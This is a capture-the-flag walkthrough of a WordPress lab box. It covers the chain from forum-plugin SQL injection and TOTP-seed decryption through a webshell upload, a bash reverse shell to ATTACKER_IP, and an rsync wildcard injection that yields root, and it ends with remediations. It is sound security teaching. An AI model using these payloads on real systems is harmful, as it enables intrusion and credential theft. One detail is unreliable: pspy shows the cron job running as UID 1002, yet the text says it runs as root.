Summary
Phoenix is a WordPress box with a long, winding path to root. The short version: an unauthenticated SQL injection in a forum plugin leaks the whole WordPress database, which gives admin credentials and everything needed to defeat the site's two-factor authentication without ever touching a phone or app. From there, a second vulnerable plugin gives code execution and a low-privilege shell. A misconfigured SSH setup (2FA plus an IP allowlist) turns out to have a loophole via a second network interface on the box, which leads to a proper user account. Root comes from reverse engineering a compiled backup script and abusing an old but classic rsync wildcard injection trick to drop a SUID root shell.
Recon
Started with a full port scan:
nmap -A -p- 10.129.x.x -oA nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
|_http-title: "Did not follow redirect to https://phoenix.htb/"
443/tcp open ssl/http Apache httpd
|_http-title: "Did not follow redirect to https://phoenix.htb/"
| ssl-cert: Subject: commonName=phoenix.htb/organizationName=Phoenix Security Ltd.
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
The HTTPS cert and robots.txt both pointed at a hostname, so added it to /etc/hosts:
echo '10.129.x.x phoenix.htb' >> /etc/hosts
robots.txt disallowed /wp-admin/ and pointed at a WordPress sitemap — confirming this is a WordPress site.
Web Enumeration
The site itself is a "Coming Soon" landing page for a fake cybersecurity company (Phoenix Security), with a sign-up/login flow, a blog, and a forum.
Poking at the WordPress sitemap (wp-sitemap-users-1.xml) leaked two usernames via author archive pages — a classic WordPress info-leak:
jsmithphoenix
WPScan Enumeration
wpscan --url https://phoenix.htb --disable-tls-checks --api-token <token> -e vt,vp,u
Trimmed output (WPScan's full CVE listing per plugin runs to hundreds of lines — keeping the parts that mattered):
[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
| [!] 37 vulnerabilities identified:
...
[+] WordPress theme in use: coming-soon-event
| Version: 1.0.8 (80% confidence)
[i] Plugin(s) Identified:
[+] accordion-slider-gallery
| [!] 1 vulnerability identified: Missing Authorization (CVE-2025-62130)
[+] asgaros-forum
| [!] The version is out of date, the latest version is 3.4.0
| [!] 12 vulnerabilities identified:
| [!] Title: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
| Fixed in: 1.15.13
| References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24827
| Version: 1.15.12 (10% confidence)
[+] photo-gallery-builder
| [!] 1 vulnerability identified: Missing Authorization (CVE-2024-49325)
[+] pie-register
| [!] 22 vulnerabilities identified (multiple CVEs spanning 2013-2026)
[+] timeline-event-history
| [!] 4 vulnerabilities identified (Object Injection, Stored/Reflected XSS)
[i] User(s) Identified:
[+] John Smith | Found By: Rss Generator (Passive Detection)
[+] phoenix | Confirmed By: Author Sitemap
[+] jsmith | Confirmed By: Author Sitemap
Dead End: Pie Register RCE Attempt
pie-register had a public exploit for an unauthenticated auth-bypass-to-RCE (CVE-2025-34077) that forges a session via the plugin's social-login flow, then uploads a malicious "plugin" ZIP containing a webshell.
Executed the public PoC - it failed with a Python syntax error in the script itself. Manually replayed the HTTP request the exploit makes; no session cookie was ever set, meaning this particular install doesn't behave the way the CVE expects.
The actual reason turned out to be a version mismatch, not just a broken PoC. WPScan couldn't pin an exact Pie Register version and left it as "could not be determined," but checking the page source directly showed the real version in the asset query strings:
<link rel='stylesheet' id='pie_dialog_css-css' href='.../pie-register/assets/css/dialog.css?ver=3.7.2.6' />
So the installed version is 3.7.2.6. CVE-2025-34077's public exploit targets Pie Register <= 3.7.1.4 - a version range this install is already past. The vulnerable code path simply isn't present here. Genuine dead end - dropped it and moved to the next lead rather than sinking more time into it.
Foothold #1: Unauthenticated SQL Injection (Asgaros Forum)
The asgaros-forum version installed matched a known unauthenticated SQL injection: CVE-2021-24827.
Confirmed manually with a time-based payload against the forum's subscribe_topic parameter:
time curl -k 'https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)' > /dev/null
# real 11.24s <- response time matches the injected sleep()
Automated with sqlmap:
sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
--batch -p subscribe_topic --technique=T --time-sec=3 --dbs
[23:17:38] [INFO] GET parameter 'subscribe_topic' appears to be
'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: subscribe_topic (GET)
Type: time-based blind
Payload: subscribe_topic=1 AND (SELECT 2509 FROM (SELECT(SLEEP(3)))ijUT)
---
back-end DBMS: MySQL >= 5.0.12
available databases [2]:
[*] information_schema
[*] wordpress
Dumping WordPress credentials
sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
--batch -p subscribe_topic --technique=T --time-sec=2 \
-D wordpress -T wp_users -C user_login,user_pass,user_email --dump
Database: wordpress
Table: wp_users
[6 entries]
+------------+-----------------------------------------------+------------------------+
| user_login | user_pass | user_email |
+------------+-----------------------------------------------+------------------------+
| john | $P$B8eBH6QfVODeb/gYCSJRvm9MyRv7xz. | john@domain.htb |
| Phoenix | $P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc. | phoenix@phoenix.htb |
| Jane | $P$BJCq26vxPmaQtAthFcnyNv1322qxD91 | jane@phoenix.htb |
| test | $P$BRvG7ym.p0pttnKH4t5SOdnbIFiMRI0 (testtest) | a@a.com |
| Jsmith | $P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G. | john.smith@phoenix.htb |
| Jack | $P$BzalVhBkVN.6ii8y/nbv3CTLbC0E9e. | jack@phoenix.htb |
+------------+-----------------------------------------------+------------------------+
Note this kind of time-based blind extraction is slow - dumping this table took roughly 2 hours real time, since every character requires its own HTTP request plus a sleep().
Cracking the hashes
sqlmap automatically saved the raw dump as CSV:
[INFO] table 'wordpress.wp_users' dumped to CSV file
'/root/.local/share/sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv'
Pulled just the username:hash pairs out of that CSV into a file John can read directly:
awk -F',' 'NR>1 {print $1":"$2}' \
/root/.local/share/sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv > wp_hashes.txt
Then ran John against rockyou.txt:
john wp_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 6 password hashes with 6 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cracked 1 password hash (is in /opt/john-bleeding/run/john.pot), use "--show"
phoenixthefirebird14 (Phoenix)
1g 0:00:07:29 ... 4341p/s
[... ran again later, letting it continue against remaining hashes ...]
Cracked 3 password hashes (are in /opt/john-bleeding/run/john.pot), use "--show"
superphoenix (Jsmit)
password@1234 (john)
Cracked 3 of the 6 total:
| user_login | password | notes |
|---|---|---|
| Phoenix | phoenixthefirebird14 |
the admin account |
| Jsmith | superphoenix |
maps to the editor Linux user |
| john | password@1234 |
not used further |
(A test account also appeared in the dump - that one was self-created earlier while exploring the registration form, not a recovered credential.)
2FA Bypass: Decrypting the Admin's TOTP Secret
Logging in as Phoenix / phoenixthefirebird14 worked, but hit a Validate OTP prompt from the miniorange-2-factor-authentication plugin - a standard TOTP (Time-based One-Time Password) challenge tied to an authenticator app. Guessing or brute-forcing this isn't realistic (codes rotate every 30 seconds and there's only 3 attempts).
Confirming where the TOTP secret lives
Rather than attack the OTP prompt itself, went looking for where the plugin actually stores its 2FA state. Pulled the plugin's local PHP source (the Miniorange_Mobile_Login class) to see how it handles login/verification - this confirmed the general meta-key naming convention the plugin uses (mo_2factor_mobile_registration_status, mo_2factor_map_id_with_email, etc.), all stored per-user in standard WordPress user meta rather than anything external.
This was reinforced by the plugin's own uninstall.php cleanup routine, which lists out essentially every option and user-meta key it ever creates:
<?php
//delete all stored key-value pairs which are available to all users
delete_option('mo2f_email');
delete_option('mo2f_host_name');
delete_option('mo2f_customerKey');
delete_option('mo2f_api_key');
delete_option('mo2f_customer_token');
...
//delete user specific key-value pair
$users = get_users( array() );
foreach ( $users as $user ) {
delete_user_meta($user->ID,'mo_2factor_user_registration_status');
delete_user_meta($user->ID,'mo_2factor_mobile_registration_status');
delete_user_meta($user->ID,'mo_2factor_user_registration_with_miniorange');
delete_user_meta($user->ID,'mo_2factor_map_id_with_email');
}
?>
This confirms the pattern (mo2f_* for global options, mo_2factor_* / mo2f_* for per-user meta) but doesn't list the specific keys for the soft token / Google Authenticator feature specifically, since that's a separate module not shown in the files reviewed so far. Cross-referenced this naming convention against the plugin's public source mirror (https://github.com/wp-plugins/miniorange-2-factor-authentication/tree/master) to find that module, which pinned down the exact meta keys used for the Google Authenticator secret and its associated encryption key: mo2f_gauth_key and mo2f_get_auth_rnd_string. Confirming these exact names mattered because sqlmap needs a precise meta_key value to filter on with --where.
This also explains the whole approach: since the plugin stores the TOTP seed encrypted, but locally, in the same database already compromised by the SQLi, database access is equivalent to defeating the 2FA entirely - no need to touch the actual OTP-verification flow at all.
Pulling the encrypted secret and its key
sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
--batch -p subscribe_topic --technique=BEUT --dbms=mysql --time-sec=2 -o \
-D wordpress -T wp_usermeta -C meta_value \
--where "user_id=1 and meta_key='mo2f_gauth_key'" --dump
Database: wordpress
Table: wp_usermeta
[1 entry]
+--------------------------------------------------------------------------------------------------------------+
| meta_value |
+--------------------------------------------------------------------------------------------------------------+
| qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA= |
+--------------------------------------------------------------------------------------------------------------+
Same approach, second key, to get the value needed to decrypt it:
sqlmap -u "https://phoenix.htb/forum/?subscribe_topic=1" \
--batch -p subscribe_topic --technique=BEUT --dbms=mysql \
--threads=10 --time-sec=2 -o \
-D wordpress -T wp_usermeta -C meta_value \
--where "user_id=1 and meta_key='mo2f_get_auth_rnd_string'" --dump
Database: wordpress
Table: wp_usermeta
[1 entry]
+------------+
| meta_value |
+------------+
| kHHxxX3f |
+------------+
Decrypting it
The first blob is base64-encoded and looked like an IV + HMAC + AES-CBC ciphertext layout (a pattern common to a lot of WordPress plugins' custom crypto). Wrote a small Python script to decrypt it using the second value as the key:
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def decrypt_data(data_b64: str, key: str) -> bytes:
c = base64.b64decode(data_b64)
ivlen = 16
iv = c[:ivlen]
ciphertext_raw = c[ivlen+32:] # skip past IV and the 32-byte HMAC
key_bytes = (key.encode() + b'\x00' * 16)[:16] # pad/truncate to 16 bytes
cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext_raw)
try:
plaintext = unpad(plaintext, AES.block_size)
except ValueError:
pass
return plaintext
print(decrypt_data(
"qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA=",
"kHHxxX3f"
))
b'PDEEWIVJSIDWS6WO'
That decoded cleanly to a Base32 string — a genuine TOTP secret: PDEEWIVJSIDWS6WO.
Fed that into oathtool to generate a live code:
oathtool -b --totp PDEEWIVJSIDWS6WO
# 923770
Used the generated code alongside the admin credentials and got straight into /wp-admin/ as Phoenix (Administrator).
Foothold #2: RCE via "Download From Files" Plugin
Browsing the plugins list in wp-admin (direct plugin upload was disabled, so no easy ZIP-based shell) turned up one plugin not seen in the earlier WPScan run: Download From Files v1.48.
Found a matching public exploit:
searchsploit download from files
searchsploit -m php/webapps/50287.py
Download From Files <= 1.48 - Arbitrary File Upload abuses an unauthenticated AJAX action to drop an arbitrary file (including a webshell) directly into wp-admin/.
The stock script failed with a TLS error against the self-signed cert, since it never disables certificate verification. Two small changes fixed it:
- In
vuln_check(), changed:
response = requests.get(uri)
to:
response = requests.get(uri, verify=False)
- In
main(), changed the upload request:
response = requests.post(uri, files=files, data=data)
to:
response = requests.post(uri, files=files, data=data, verify=False)
python3 50287.py https://phoenix.htb evil.phtml
# Shell Uploaded!
# https://phoenix.htb/wp-admin/evil.phtml
Confirmed code execution and popped a reverse shell:
curl -k 'https://phoenix.htb/wp-admin/evil.phtml?cmd=id'
# uid=1001(wp_user) ...
curl -k https://phoenix.htb/wp-admin/evil.phtml \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
Landed as wp_user.
Local Enumeration
Checked /etc/passwd for real login accounts:
root:x:0:0:root:/root:/bin/bash
phoenix:x:1000:1000:Phoenix:/home/phoenix:/bin/bash
editor:x:1002:1002:John Smith,...:/home/editor:/bin/bash
Confirms editor = John Smith = jsmith from the earlier DB dump.
Went back and let John keep cracking the remaining hashes in the background - cracked 2 more (superphoenix for Jsmith, password@1234 for john), giving a usable login: editor / superphoenix.
SSH: Blocked by 2FA and an IP Allowlist
Tried SSH directly:
ssh editor@phoenix.htb
The password was accepted but a Verification code prompt appeared too. This was the second sign (after su phoenix behaving the same way earlier) that 2FA on this box isn't just a WordPress thing - it's enforced at the OS login level as well, for both su and sshd. On Linux, PAM (Pluggable Authentication Modules) is what chains together auth steps like this for system services, so that's where to look next.
Compared the box's /etc/pam.d/sshd against a clean Ubuntu copy to spot the customizations:
diff sshd /etc/pam.d/sshd
Two extra lines stood out:
auth [success=1 default=ignore] pam_access.so accessfile=/etc/security/access-local.conf
auth required pam_google_authenticator.so nullok user=root secret=/var/lib/twofactor/${USER}
So SSH here checks an IP allowlist first, and only falls back to Google Authenticator if that check doesn't already grant success. The allowlist:
+ : ALL : 10.11.12.13/24
- : ALL : ALL
Only logins originating from that specific subnet skip the TOTP prompt entirely.
Checked the box's own network interfaces:
ifconfig
Turns out the box is dual-homed - besides its normal HTB-facing NIC, it also has a second interface sitting right on 10.11.12.13, exactly the allowed range.
SSH'd to that second IP instead of the usual one:
ssh editor@10.11.12.13
This time, only a password prompt - no TOTP challenge. Logged in clean with editor / superphoenix.
User flag: [REDACTED]
Privilege Escalation: Reverse Engineering a Compiled Cron Job
Enumerating the box (linpeas + manual poking) turned up some flagged items:
════════════════════════════╣ Other Interesting Files ╠════════════════════════════
╔══════════╣ .sh files in path
/usr/local/bin/cron.sh.x
/usr/bin/gettext.sh
/usr/bin/rescan-scsi-bus.sh
╔══════════╣ Executable files potentially added by user (limit 70)
2022-02-16+22:27:39.0806206800 /usr/local/bin/cron.sh.x
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_terminal.sh
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_keyboard.sh
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_font.sh
╔══════════╣ Unexpected in root
/backups
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/backups/phoenix.htb.2026-07-04-06-06.tar.gz
/var/log/journal/16f09a9db470435faa12a4d5167ba486/system.journal
/var/log/auth.log
/var/log/syslog
Two things stood out immediately:
Two things stood out immediately:
-
/backups- flagged by linpeas as "unexpected in root," and one of its files had just been modified in the last 5 minutes: a strong sign of an active, recurring cron job -
/usr/local/bin/cron.sh.x- an executable, owned by root, sitting outside the usual system paths, last modified back in Feb 2022 (i.e. baked into the box at build time, not something transient)
What is a .sh.x file?
.sh.x is the typical output of SHC (Shell Script Compiler) - a tool that wraps a plain shell script into a compiled binary to hide the source and make it harder to tamper with. Confirmed this by checking the strings inside:
strings /usr/local/bin/cron.sh.x
which showed generic libc symbols and a runtime error string typical of SHC-wrapped binaries (E: neither argv[0] nor $_ works.), rather than anything script-specific.
Watching it run live
Rather than trying to statically decompile the binary, used pspy (a tool that watches running processes without needing root) to catch the script's actual behavior when the cron job fires:
wget http://ATTACKER_IP/pspy64
chmod +x pspy64
./pspy64
Caught the job executing live:
2026/07/04 06:35:34 CMD: UID=1002 PID=35505 | date +%Y-%m-%d-%H-%M
2026/07/04 06:35:34 CMD: UID=1002 PID=35506 | mysqldump -u root wordpress
mysqldump: Got error: 1698: Access denied for user 'root'@'localhost' when trying to connect
2026/07/04 06:35:34 CMD: UID=1002 PID=35507 | tar -cf phoenix.htb.2026-07-04-06-35.tar dbbackup.sql
2026/07/04 06:35:34 CMD: UID=1002 PID=35508 | rm dbbackup.sql
2026/07/04 06:35:34 CMD: UID=1002 PID=35509 | gzip -9 phoenix.htb.2026-07-04-06-35.tar
2026/07/04 06:35:34 CMD: UID=1002 PID=35510 | find . -type f -mmin +30 -delete
2026/07/04 06:35:34 CMD: UID=1002 PID=35511 | rsync --ignore-existing -t phoenix.htb.2026-07-04-06-06.tar.gz
phoenix.htb.2026-07-04-06-09.tar.gz [...] jit@10.11.12.14:/backups/
(Note: mysqldump -u root fails with an access-denied error, but the script doesn't check for that and keeps going anyway — a small bug, but not the one that matters here.)
Reconstructed the script's logic from this:
#!/bin/sh
NOW=$(date +"%Y-%m-%d-%H-%M")
FILE="phoenix.htb.$NOW.tar"
cd /backups
mysqldump -u root wordpress > dbbackup.sql
tar -cf $FILE dbbackup.sql && rm dbbackup.sql
gzip -9 $FILE
find . -type f -mmin +30 -delete
rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/
This runs as root (confirmed since it can access /backups files owned by root and attempts mysqldump -u root), and the editor user has write access to /backups.
The bug: rsync wildcard injection
The last line is the interesting part:
rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/
The *.* is a shell glob expanded by the script before rsync ever sees it. If a file in that directory has a name that looks like an rsync command-line flag, the shell will happily pass it to rsync as one - a classic wildcard injection vulnerability. rsync supports a -e flag to specify an arbitrary "remote shell" command to run, which is exactly the lever needed here.
Exploiting it
Since editor can write to /backups, dropped a small script there:
cat << 'EOF' > shell.sh
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x shell.sh
Then created a file whose name is itself a malicious rsync flag:
touch -- '-e sh shell.sh'
When the cron job's *.* glob expands, this filename gets passed to rsync as -e sh shell.sh - telling rsync to use sh shell.sh as its "remote shell" command, which just runs the script locally as whatever user triggered rsync (root, since the cron job runs as root).
Waited for the next cron run:
watch -n 5 ls -la /tmp/rootbash
A few minutes later:
-rwsr-sr-x 1 root root 1183448 Jul 4 06:48 /tmp/rootbash
A SUID copy of bash, owned by root. Ran it:
/tmp/rootbash -p
whoami # root
id # uid=1002(editor) gid=1002(editor) euid=0(root) egid=0(root) groups=0(root),1002(editor)
Root.
cat /root/root.txt
Root flag: [REDACTED]
Key Vulnerabilities & Attack Chain
-
WordPress username disclosure via the default XML sitemap (
wp-sitemap-users-1.xml) - leaked valid usernames for later targeting. - Unauthenticated SQL injection in the Asgaros Forum plugin (CVE-2021-24827) - the single most important vulnerability on the box. Everything downstream (credentials, TOTP bypass) traces back to this.
- Weak/reused passwords, crackable with a standard wordlist (rockyou.txt) against the dumped WordPress password hashes.
- 2FA implemented at the application layer with secrets stored server-side and readable via SQLi - once the database is compromised, TOTP protection built this way adds no real security, since the seed itself can just be read and used to generate valid codes.
- Unauthenticated arbitrary file upload in the Download From Files plugin (v1.48) - straightforward path from admin panel access to full RCE.
-
SSH 2FA bypass via a misconfigured IP allowlist - the
pam_accessrule was meant to be a convenience for trusted networks, but it fully skips the TOTP requirement rather than just skipping additional friction, and the box exposes a second interface sitting in that trusted range. -
Classic rsync wildcard injection in a root-run cron job - using unquoted, unsanitized glob expansion (
*.*) as rsync arguments let a low-privileged but directory-writable user inject a malicious-eflag and get arbitrary command execution as root.
Attack chain:
WordPress sitemap leaks usernames (jsmith, phoenix)
│
▼
Unauthenticated SQLi in Asgaros Forum (CVE-2021-24827)
│
├──► Dump wp_users → crack hashes (rockyou.txt)
│ │
│ ▼
│ Admin credentials: phoenix / phoenixthefirebird14
│
└──► Dump wp_usermeta (mo2f_gauth_key + mo2f_get_auth_rnd_string)
│
▼
Decrypt TOTP secret → generate valid OTP (oathtool)
│
▼
Full admin login to /wp-admin/ (2FA bypassed entirely)
│
▼
Unauthenticated arbitrary file upload in Download From Files plugin
│
▼
Webshell → reverse shell as wp_user
│
▼
Crack remaining hashes → editor / superphoenix (maps to jsmith)
│
▼
SSH blocked by PAM (Google Authenticator + pam_access IP allowlist)
│
▼
Box is dual-homed → SSH to internal-only IP (10.11.12.13)
bypasses the TOTP requirement entirely
│
▼
Shell as editor → user.txt
│
▼
Root-run cron job (cron.sh.x) backs up DB + rsyncs with unquoted
glob (*.*) → classic wildcard injection via crafted filename
│
▼
SUID bash dropped by root → root.txt
Remediations
-
Fix WordPress username disclosure: disable or restrict the default XML sitemaps (
wp-sitemap-users-*.xml), or at minimum don't expose full names/roles via the REST API's/wp-json/wp/v2/usersendpoint to unauthenticated requests. - Patch/remove Asgaros Forum: update past v1.15.13, or better, remove or firewall off vulnerable plugins entirely if they're not essential. This single SQLi is the root cause of nearly everything else on the box.
- Enforce strong, unique passwords: none of the cracked passwords should have survived a rockyou.txt pass - a basic password policy plus a check against known-breached password lists would have stopped this.
- Don't rely on 2FA secrets stored in the same database an app-level vulnerability can already read. If the database is compromised, application-layer TOTP protection backed by DB-stored secrets provides no real additional security. Consider a hardware-backed or externally-hosted 2FA provider, or at minimum encrypt secrets with a key that isn't derivable/co-located with the rest of the compromised data.
- Patch/remove the Download From Files plugin: this unauthenticated file upload is a straight line from "has admin panel access" to full RCE - no plugin with this kind of unauthenticated write capability should be running in production.
-
Fix the SSH
pam_accessallowlist logic: an IP-based exception should never fully bypass a second factor - at most it should be one signal among several, not a hard short-circuit. If a trusted internal network genuinely doesn't need 2FA, that's a network segmentation decision, not something that should live inside the same PAM stack as the 2FA enforcement itself. -
Never expand unsanitized globs into command arguments, especially for privileged (root) scripts. The
rsync ... *.* ...pattern should instead pass an explicit, safe argument like--before the file list (to stop--prefixed filenames being parsed as options), or better, avoid shell globbing into command arguments entirely (e.g.find /backups -maxdepth 1 -type f -print0 | xargs -0 rsync ...). - Avoid running scheduled jobs as root when they don't need to be. This backup job didn't need full root — a dedicated low-privilege backup user with only the access it actually needs would have contained this entire escalation path.
Top comments (0)